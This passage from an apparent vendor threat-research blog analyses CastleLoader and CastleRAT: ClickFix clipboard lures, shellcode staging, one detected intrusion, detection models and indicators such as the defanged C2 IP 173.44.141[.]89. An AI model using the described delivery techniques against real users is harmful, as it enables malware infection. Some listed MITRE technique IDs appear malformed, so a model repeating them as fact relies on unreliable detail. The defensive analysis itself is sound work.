Its modular architecture enables it to function both as a delivery mechanism and a staging utility, allowing threat actors to decouple the initial infection from payload deployment. CastleLoader typically delivers its payloads as Portable Executables (PEs) containing embedded shellcode. This shellcode activates the loader’s core module, which then connects to the C2 server to retrieve and execute the next-stage malware.[6]

Following this, attackers deploy the ClickFix technique, impersonating legitimate software distribution platforms like Google Meet or browser update notifications. These deceptive sites trick victims into copying and executing PowerShell commands, thereby initiating the infection kill chain. [1]

When a user clicks on a spoofed Cloudflare “Verification Stepprompt, a background request is sent to a PHP script on the distribution domain (e.g., /s.php?an=0). The server’s response is then automatically copied to the user’s clipboard using the ‘unsecuredCopyToClipboard()’ function. [7].

The Python-based variant of CastleRAT, known as “PyNightShade,” has been engineered with stealth in mind, showing minimal detection across antivirus platforms [2]. As illustrated in Figure 1, PyNightShade communicates with the geolocation API service ip-api[.]com, demonstrating both request and response behavior

Packet Capture (PCAP) of PyNightShade, the Python-based variant of CastleRAT, communicating with the geolocation API service ip-api[.]com.
Figure 1: Packet Capture (PCAP) of PyNightShade, the Python-based variant of CastleRAT, communicating with the geolocation API service ip-api[.]com.

Darktrace Coverage

In mid-2025, Darktrace observed a range of anomalous activities across its customer base that appeared linked to CastleLoader, including the example below from a US based organization.

The activity began on June 26, when a device on the customer’s network was observed connecting to the IP address 173.44.141[.]89, a previously unseen IP for this network along with the use of multiple user agents, which was also rare for the user.  It was later determined that the IP address was a known indicator of compromise (IoC) associated with TAG-150’s CastleRAT and CastleLoader operations [2][5].

Figure 2: Darktrace’s detection of a device making unusual connections to the malicious endpoint 173.44.141[.]89.

The device was observed downloading two scripts from this endpoint, namely ‘/service/download/data_5x.bin’ and ‘/service/download/data_6x.bin’, which have both been linked to CastleLoader infections by open-source intelligence (OSINT) [8]. The archives contains embedded shellcode, which enables attackers to execute arbitrary code directly in memory, bypassing disk writes and making detection by endpoint detection and response (EDR) tools significantly more difficult [2].

 Darktrace’s detection of two scripts from the malicious endpoint.
Figure 3: Darktrace’s detection of two scripts from the malicious endpoint.

In addition to this, the affected device exhibited a high volume of internal connections to a broad range of endpoints, indicating potential scanning activity. Such behavior is often associated with reconnaissance efforts aimed at mapping internal infrastructure.

Darktrace / NETWORK correlated these behaviors and generated an Enhanced Monitoring model, a high-fidelity security model designed to detect activity consistent with the early stages of an attack. These high-priority models are continuously monitored and triaged by Darktrace’s Security Operations Center (SOC) as part of the Managed Threat Detection and Managed Detection & Response services, ensuring that subscribed customers are promptly alerted to emerging threats.

Darktrace detected an unusual ZIP file download alongside the anomalous script, followed by internal connectivity. This activity was correlated under an Enhanced Monitoring model.
Figure 4: Darktrace detected an unusual ZIP file download alongside the anomalous script, followed by internal connectivity. This activity was correlated under an Enhanced Monitoring model.

Darktrace Autonomous Response

Fortunately, Darktrace’s Autonomous Response capability was fully configured, enabling it to take immediate action against the offending device by blocking any further connections external to the malicious endpoint, 173.44.141[.]89. Additionally, Darktrace enforced a ‘group pattern of life’ on the device, restricting its behavior to match other devices in its peer group, ensuring it could not deviate from expected activity, while also blocking connections over 443, shutting down any unwanted internal scanning.

Figure 5: Actions performed by Darktrace’s Autonomous Response to contain the ongoing attack.

Conclusion

The rise of the MaaS ecosystem, coupled with attackers’ growing ability to customize tools and techniques for specific targets, is making intrusion prevention increasingly challenging for security teams. Many threat actors now leverage modular toolkits, dynamic infrastructure, and tailored payloads to evade static defenses and exploit even minor visibility gaps. In this instance, Darktrace demonstrated its capability to counter these evolving tactics by identifying early-stage attack chain behaviors such as network scanning and the initial infection attempt. Autonomous Response then blocked the CastleLoader IP delivering the malicious ZIP payload, halting the attack before escalation and protecting the organization from a potentially damaging multi-stage compromise

Credit to Ahmed Gardezi (Cyber Analyst) Tyler Rhea (Senior Cyber Analyst)
Edited by Ryan Traill (Analyst Content Lead)

Appendices

Darktrace Model Detections

  • Anomalous Connection / Unusual Internal Connections
  • Anomalous File / Zip or Gzip from Rare External Location
  • Anomalous File / Script from Rare External Location
  • Initial Attack Chain Activity (Enhanced Monitoring Model)

MITRE ATT&CK Mapping

  • T15588.001 - Resource Development – Malware
  • TG1599 – Defence Evasion – Network Boundary Bridging
  • T1046 – Discovery – Network Service Scanning
  • T1189 – Initial Access

List of IoCs
IoC - Type - Description + Confidence

  • 173.44.141[.]89 – IP – CastleLoader C2 Infrastructure
  • 173.44.141[.]89/service/download/data_5x.bin – URI – CastleLoader Script
  • 173.44.141[.]89/service/download/data_6x.bin – URI  - CastleLoader Script
  • wsc.zip – ZIP file – Possible Payload

References

[1] - https://blog.polyswarm.io/castleloader

[2] - https://www.recordedfuture.com/research/from-castleloader-to-castlerat-tag-150-advances-operations

[3] - https://www.pcrisk.com/removal-guides/34160-castleloader-malware

[4] - https://www.scworld.com/brief/malware-loader-castleloader-targets-devices-via-fake-github-clickfix-phishing

[5] https://www.virustotal.com/gui/ip-address/173.44.141.89/community

[6] https://thehackernews.com/2025/07/castleloader-malware-infects-469.html

[7] https://www.cryptika.com/new-castleloader-attack-using-cloudflare-themed-clickfix-technique-to-infect-windows-computers/

[8] https://www.cryptika.com/castlebot-malware-as-a-service-deploys-range-of-payloads-linked-to-ransomware-attacks/

Continue reading
About the author
Your data. Our AI.
Elevate your network security with Darktrace AI